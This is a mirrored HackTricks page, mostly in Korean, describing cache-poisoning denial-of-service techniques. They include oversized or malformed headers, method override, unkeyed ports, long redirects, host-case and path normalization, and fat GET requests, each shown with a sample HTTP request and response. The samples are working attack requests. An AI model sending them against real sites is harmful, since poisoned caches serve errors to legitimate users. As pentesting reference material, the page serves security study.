mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
152 lines
6.5 KiB
Markdown
152 lines
6.5 KiB
Markdown
# Cache Poisoning to DoS
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
{% hint style="danger" %}
|
|
이 페이지에서는 **캐시 서버에 유효한** 요청에 대해 **웹 서버가 오류로 응답하도록** 시도할 수 있는 다양한 변형을 찾을 수 있습니다.
|
|
{% endhint %}
|
|
|
|
* **HTTP Header Oversize (HHO)**
|
|
|
|
웹 서버가 지원하는 것보다 큰 헤더 크기로 요청을 보내되, 캐시 서버가 지원하는 것보다 작은 크기로 보냅니다. 웹 서버는 캐시될 수 있는 400 응답으로 응답할 것입니다:
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: redacted.com
|
|
X-Oversize-Hedear:Big-Value-000000000000000
|
|
```
|
|
* **HTTP 메타 문자 (HMC) 및 예상치 못한 값**
|
|
|
|
해당 공격이 작동하려면 먼저 캐시를 우회해야 합니다. 해로운 메타 문자가 포함된 헤더를 전송하십시오.
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: redacted.com
|
|
X-Meta-Hedear:Bad Chars\n \r
|
|
```
|
|
A badly configured header could be just `\:` as a header.
|
|
|
|
이것은 예상치 못한 값이 전송될 경우에도 작동할 수 있습니다. 예를 들어 예상치 못한 Content-Type:
|
|
```
|
|
GET /anas/repos HTTP/2
|
|
Host: redacted.com
|
|
Content-Type: HelloWorld
|
|
```
|
|
* **Unkeyed header**
|
|
|
|
일부 웹사이트는 요청에 특정 헤더가 포함되어 있으면 오류 상태 코드를 반환합니다. 예를 들어 _X-Amz-Website-Location-Redirect: someThing_ 헤더가 있습니다:
|
|
```
|
|
GET /app.js HTTP/2
|
|
Host: redacted.com
|
|
X-Amz-Website-Location-Redirect: someThing
|
|
|
|
HTTP/2 403 Forbidden
|
|
Cache: hit
|
|
|
|
Invalid Header
|
|
```
|
|
* **HTTP 메서드 오버라이드 공격 (HMO)**
|
|
|
|
서버가 `X-HTTP-Method-Override`, `X-HTTP-Method` 또는 `X-Method-Override`와 같은 헤더로 HTTP 메서드를 변경하는 것을 지원하는 경우, 메서드를 변경하여 유효한 페이지를 요청할 수 있습니다. 이렇게 하면 서버가 이를 지원하지 않으므로 잘못된 응답이 캐시됩니다:
|
|
```
|
|
GET /blogs HTTP/1.1
|
|
Host: redacted.com
|
|
HTTP-Method-Override: POST
|
|
```
|
|
* **키가 없는 포트**
|
|
|
|
Host 헤더의 포트가 응답에 반영되고 캐시 키에 포함되지 않는 경우, 사용되지 않는 포트로 리디렉션할 수 있습니다:
|
|
```
|
|
GET /index.html HTTP/1.1
|
|
Host: redacted.com:1
|
|
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: https://redacted.com:1/en/index.html
|
|
Cache: miss
|
|
```
|
|
* **Long Redirect DoS**
|
|
|
|
다음 예와 같이, x는 캐시되지 않으므로 공격자는 리디렉션 응답 동작을 악용하여 리디렉션이 너무 큰 URL을 보내도록 만들어 오류를 반환할 수 있습니다. 그런 다음 uncached x 키 없이 URL에 접근하려는 사람들은 오류 응답을 받게 됩니다:
|
|
```
|
|
GET /login?x=veryLongUrl HTTP/1.1
|
|
Host: www.cloudflare.com
|
|
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: /login/?x=veryLongUrl
|
|
Cache: hit
|
|
|
|
GET /login/?x=veryLongUrl HTTP/1.1
|
|
Host: www.cloudflare.com
|
|
|
|
HTTP/1.1 414 Request-URI Too Large
|
|
CF-Cache-Status: miss
|
|
```
|
|
* **호스트 헤더 대소문자 정규화**
|
|
|
|
호스트 헤더는 대소문자를 구분하지 않아야 하지만 일부 웹사이트는 소문자로 되어 있기를 기대하며 그렇지 않을 경우 오류를 반환합니다:
|
|
```
|
|
GET /img.png HTTP/1.1
|
|
Host: Cdn.redacted.com
|
|
|
|
HTTP/1.1 404 Not Found
|
|
Cache:miss
|
|
|
|
Not Found
|
|
```
|
|
* **경로 정규화**
|
|
|
|
일부 페이지는 경로에 데이터 URL 인코딩을 보내면 오류 코드를 반환하지만, 캐시 서버는 경로를 URL 디코딩하고 URL 디코딩된 경로에 대한 응답을 저장합니다:
|
|
```
|
|
GET /api/v1%2e1/user HTTP/1.1
|
|
Host: redacted.com
|
|
|
|
|
|
HTTP/1.1 404 Not Found
|
|
Cach:miss
|
|
|
|
Not Found
|
|
```
|
|
* **Fat Get**
|
|
|
|
일부 캐시 서버, 예를 들어 Cloudflare 또는 웹 서버는 본문이 있는 GET 요청을 중단하므로, 이를 악용하여 잘못된 응답을 캐시할 수 있습니다:
|
|
```
|
|
GET /index.html HTTP/2
|
|
Host: redacted.com
|
|
Content-Length: 3
|
|
|
|
xyz
|
|
|
|
|
|
HTTP/2 403 Forbidden
|
|
Cache: hit
|
|
```
|
|
## References
|
|
|
|
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
|
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
|
|
|
{% hint style="success" %}
|
|
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>HackTricks 지원하기</summary>
|
|
|
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
|
|
|
</details>
|
|
{% endhint %}
|